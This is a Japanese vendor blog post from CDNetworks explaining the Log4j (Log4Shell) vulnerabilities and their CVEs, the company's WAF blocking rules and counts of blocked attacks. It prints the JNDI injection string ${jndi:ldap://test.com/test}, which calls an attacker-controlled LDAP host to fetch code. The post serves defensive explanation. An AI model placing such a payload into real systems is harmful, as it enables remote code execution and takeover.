Apache Log4Jの脆弱性とは何か、そしてCDNeworksのWAFサービスはこの脆弱性にたいして如何に有効であるか

Log4j Vulnerability

2021年12月9日、世界中で利用されているApacheパッケージに影響を与える重大なリモートコード実行(RCE)の脆弱性が発見されました。 Apache Log4Jとして知られるこのゼロデイソフトウェアの脆弱性は、世界中の何百万ものアプリケーションやデバイスに対する潜在的な脅威です。これに対して 2021年12月10日に米国国立標準技術研究所(NIST)が米国国家脆弱性情報データベースのLog4J脆弱性に対処する重要なCVE-2021-44228を公開しました。この脆弱性を利用した悪意のある攻撃の危機的状況にある事を示しています。 脆弱なJavaプロセスに対する脆弱性の深刻度は最高のCommon Vulnerability Scoring System(CVSS)と定められました。

Log4jとは?

Apache Log4jは、ほぼすべてのJavaサービスで使用されるJavaベースのロギングツールの1つです。 Apache Software Foundationが提供するオープンソースソフトウェアとして、ApacheLog4jはユーザーの操作とアプリケーションの動作を記録するために使用されます。 たとえば、サーバーにアクセスすると、Log4Jツールを介してサーバーに動作がログとして記録され、表示とエラーのチェックが行われます。

 

Log4jの脆弱性の影響はなぜ深刻なのか?

Log4j は広く利用されています。

Javaテクノロジ・スタックは、Windows、Linux、およびMac OSで広く使用されています。 IoT機器、家庭および商用のデバイス、 Webアプリケーション、バックエンド開発、ビッグデータ活用のためなどにも利用されています。 開発ツールとして、JavaはKafka、Elasticsearch、Flinkなどの様々なミドルウェアソリューションに利用されています。 さらに、何千ものグローバル企業がJavaサービス用にLog4jツールを導入しています。 また、Log4jは通常、名前が変更され、再パッケージ化され、ダウンロードされるため、この脆弱性はどこにでも存在する可能性があります。

この脆弱性は容易に悪用出来ます。

Log4Jの脆弱性は、アクセスログに${jndi:ldap://test.com/test}などの悪意のあるコードを挿入することで悪用される可能性があります。

 

脆弱性は何を引き起こすか?

2.15.0より前のバージョンのApache Log4jロギング フレームワークの脆弱性は、ログメッセージまたはログメッセージパラメータを制御できる認証されていないリモートでの攻撃者が、ロギングを実行しているシステムで悪意のあるコードを実行出来る可能性があります。 Log4j2ライブラリでメッセージルックアップ置換が有効になっている場合、攻撃者はログメッセージ内の特定の文字列をLDAPサーバーから送信された任意のコード文字列に置き換えることができます。 置換文字列を含むメッセージがログに記録されると、任意のコードが実行され、攻撃者がログを実行しているシステムを制御できる可能性があります。

Apache Log4jのデフォルト設定は、Java Naming and Directory Interface(JNDI)ルックアップをサポートしています。 これらのルックアップは、クラスファイルが安全でないサードパーティのLDAPサーバーからダウンロードされてオブジェクトを構築するときに悪用される可能性があります。

 

Log4j Vulnerability Diagram

次の手順では、Log4Jの脆弱性がどのように伝播するかについて説明します。

  1. ハッカーは、Log4Jによってログに記録される$ {jndi:ldap://test.com/test}などのヘッダーにJNDIルックアップを挿入します。
  2. Log4Jは、ログ内の悪意のあるコードを処理してから、悪意のあるLDAPサーバー(//test.com/test)でクエリを実行します。
  3. 悪意のあるLDAPサーバーは、悪意のあるJavaクラスファイルをオリジンサーバーに送信することで応答します。

 

脆弱性は変化し続けます

脆弱性が発見されてから半月が経ちました。 それ以来、脆弱性が変化し続けると認識しており、その間3つの関連するCVEが特定されました。

CVE-2021-4104
Apache Log4j JMSAppenderは、攻撃者がLog4jへの編集権限を持っている場合、信頼できないデータのデシリアライズに対して脆弱です。

CVE-2021-44228
Apache Log4j JNDI機能を使用すると、システムは、攻撃者が制御するLDAPサーバーまたはその他のJNDI関連のエンドポイントと許可なく通信できます。

CVE-2021-45046
Apache Log4jスレッドコンテキストパターンとコンテキストルックアップパターンにより、悪意のあるJNDI入力データがDoS攻撃を引き起こす可能性があります。

 

CDNetworksは引き続きLog4jの脆弱性を注視します。

Log4Jの脆弱性が報告されるとすぐに、CDNetworksのセキュリティチームは、インフラストラクチャと製品を評価し、脆弱性の影響を軽減するために適切な更新を行うための対応を実施しました。

その結果、2021年12月10日から次の新しいWebアプリケーションファイアウォール(WAF)ルールをリリースして展開し、上記のCVEに対処し、Log4Jの悪用の可能性を軽減させました。 デフォルトでは、すべてのルールがブロックモードに設定されています。

ルールID 内容 デフォルト設定
9337 Log4J Body Block
9930 Apache-Log4j RCE Block
9959 log4j’s request bypass behavior Block
9960 Apache-Log4j RCE Block
9961 Apache-Log4j RCE Block
9962 Apache-Log4j RCE and version info Block

 

Log4j 攻撃コードのトレンド

2021年12月10日から12月26日まで、CDNetworksは2004902の悪意のあるLog4J脆弱性攻撃を正常にブロックしました。 

Log4j Exploitation Trends Blocked Requests Chart

CDNetworksセキュリティチームは、顧客がこれらの脆弱性から保護されていることを確認するために、状況を積極的に監視し続けています。 開発が必要な場合は、このブログにて新しい調査結果または情報を更新します。

Share This Post

Share on facebook
Share on linkedin
Share on twitter
Share on email

More To Explore

Play Video